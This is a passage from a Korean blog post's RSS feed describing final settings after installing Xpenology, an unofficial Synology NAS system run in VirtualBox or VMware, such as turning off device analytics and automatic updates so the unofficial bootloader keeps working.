&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;511&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dsUoOp/btqTEMoHPJT/BPSGt7Xqh9X80efCakkkD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dsUoOp/btqTEMoHPJT/BPSGt7Xqh9X80efCakkkD0/img.png&quot; data-alt=&quot;원하는 데로~&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dsUoOp/btqTEMoHPJT/BPSGt7Xqh9X80efCakkkD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdsUoOp%2FbtqTEMoHPJT%2FBPSGt7Xqh9X80efCakkkD0%2Fimg.png&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;511&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;원하는 데로~&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;설치 끝! 마무리 설정하자!&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;설치가 끝났다&lt;/p&gt;
&lt;p&gt;중요한 설정만 하고 마무리하련다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;일단, 장치 분석 아니요.&lt;/p&gt;
&lt;p&gt;내 네트워크 대역과 나의 정보를 가져가지 말라.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;511&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2hTNs/btqTENnCjPG/ohjondT3kH7y9LKyTZeKR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2hTNs/btqTENnCjPG/ohjondT3kH7y9LKyTZeKR1/img.png&quot; data-alt=&quot;아니요.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2hTNs/btqTENnCjPG/ohjondT3kH7y9LKyTZeKR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2hTNs%2FbtqTENnCjPG%2FohjondT3kH7y9LKyTZeKR1%2Fimg.png&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;511&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;아니요.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;위쪽의 메인 메뉴 버튼 &amp;gt; 제어판을 클릭한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;511&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kFIA0/btqTJmJwip6/TLHKqKrnL1KCUbF8kLKlHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kFIA0/btqTJmJwip6/TLHKqKrnL1KCUbF8kLKlHk/img.png&quot; data-alt=&quot;메뉴 버튼 &amp;amp;amp;gt; 제어판&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kFIA0/btqTJmJwip6/TLHKqKrnL1KCUbF8kLKlHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkFIA0%2FbtqTJmJwip6%2FTLHKqKrnL1KCUbF8kLKlHk%2Fimg.png&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;511&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;메뉴 버튼 &amp;gt; 제어판&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;업데이트 및 복원을 클릭한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;511&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTyW2q/btqTIoAQOba/8mkdWd2Pqi3wktr1mfR9B0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTyW2q/btqTIoAQOba/8mkdWd2Pqi3wktr1mfR9B0/img.png&quot; data-alt=&quot;업데이트 및 복원&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTyW2q/btqTIoAQOba/8mkdWd2Pqi3wktr1mfR9B0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTyW2q%2FbtqTIoAQOba%2F8mkdWd2Pqi3wktr1mfR9B0%2Fimg.png&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;511&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;업데이트 및 복원&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;업데이트 설정 &amp;gt; 새 업데이트~&lt;/b&gt;&lt;/u&gt; 선택한다.&lt;/p&gt;
&lt;p&gt;공식 부트 로더가 아니기 때문에&lt;/p&gt;
&lt;p&gt;업데이트가 설치된 부트 로더와&lt;/p&gt;
&lt;p&gt;호환되지 않으면&lt;/p&gt;
&lt;p&gt;그대로 부팅을 못하게 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;496&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c8l7eM/btqTPzt6jdJ/lG1CO9BqDkl211rcbGdPm1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c8l7eM/btqTPzt6jdJ/lG1CO9BqDkl211rcbGdPm1/img.png&quot; data-alt=&quot;업데이트는 테스트 하거나 후기를 본 후에 진행하자&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c8l7eM/btqTPzt6jdJ/lG1CO9BqDkl211rcbGdPm1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc8l7eM%2FbtqTPzt6jdJ%2FlG1CO9BqDkl211rcbGdPm1%2Fimg.png&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;697&quot; data-origin-height=&quot;496&quot; width=&quot;500&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;업데이트는 테스트 하거나 후기를 본 후에 진행하자&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot;&gt;&lt;b&gt;끝!!!!!&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;나머지는&lt;/p&gt;
&lt;p&gt;느낌 가는 데로&lt;/p&gt;
&lt;p&gt;자유롭게 설정하면 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;뭐..&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;외장 하드 연결,&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;SSL 인증서 연결&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;b&gt;고정 IP 설정&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p&gt;정도..?&lt;/p&gt;</description>
      <category>NAS/Xpenolgoy</category>
      <category>virtualbox</category>
      <category>VMware</category>
      <category>Xpenlogy</category>
      <category>헤놀로지</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/135</guid>
      <comments>https://chmodi.tistory.com/135#entry135comment</comments>
      <pubDate>Sat, 16 Jan 2021 21:19:00 +0900</pubDate>
    </item>
  </channel>
</rss>